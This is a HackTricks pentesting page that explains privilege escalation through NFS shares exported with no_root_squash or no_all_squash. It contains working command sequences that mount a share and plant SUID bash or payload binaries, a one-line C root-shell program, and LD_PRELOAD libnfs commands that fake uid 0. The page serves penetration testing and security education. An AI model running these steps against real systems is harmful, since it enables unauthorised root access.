hacktricks/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
2020-07-28 14:39:27 +00:00

4.4 KiB
Raw Blame History

NFS no_root_squash/no_all_squash misconfiguration PE

Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.

no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.

no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user by mounting using nfs. Execute the suid as nobody user and become different user.

Privilege Escalation

Remote Exploit

If you have found this vulnerability, you can exploit it:

  • Mounting that directory in a client machine, and as root copying inside the mounted folder the /bin/bash binary and giving it SUID rights, and executing from the victim machine that bash binary.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
  • Mounting that directory in a client machine, and as root copying inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it SUID rights, and execute from the victim machine that binary you can find here some[ C SUID payloads](payloads-to-execute.md#c).
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Local Exploit

{% hint style="info" %} Note that if you can create a tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports. {% endhint %}

Trick copied from https://www.errno.fr/nfs_privesc.html****

Now, lets assume that the share server still runs no_root_squash but there is something preventing us from mounting the share on our pentest machine. This would happen if the /etc/exports has an explicit list of IP addresses allowed to mount the share.

Listing the shares now shows that only the machine were trying to privesc on is allowed to mount it:

[root@pentest]# showmount -e nfs-server
Export list for nfs-server:
/nfs_root   machine

This means that were stuck exploiting the mounted share on the machine locally from an unprivileged user. But it just so happens that there is another, lesser known local exploit.

This exploit relies on a problem in the NFSv3 specification that mandates that its up to the client to advertise its uid/gid when accessing the share. Thus its possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted!

Heres a library that lets you do just that.

Compiling the example

Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscall. Due to the absence of cmake on the system, I also needed to link against the precompiled library which can be found here.

gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L../libnfs-1.11.0/lib/.libs/

Exploiting using the library

Lets use the simplest of exploits:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out

Place our exploit on the share and make it suid root by faking our uid in the RPC calls:

LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out

All thats left is to launch it:

[w3user@machine libnfs]$ /mnt/share/a.out
[root@machine libnfs]#

There we are, local root privilege escalation!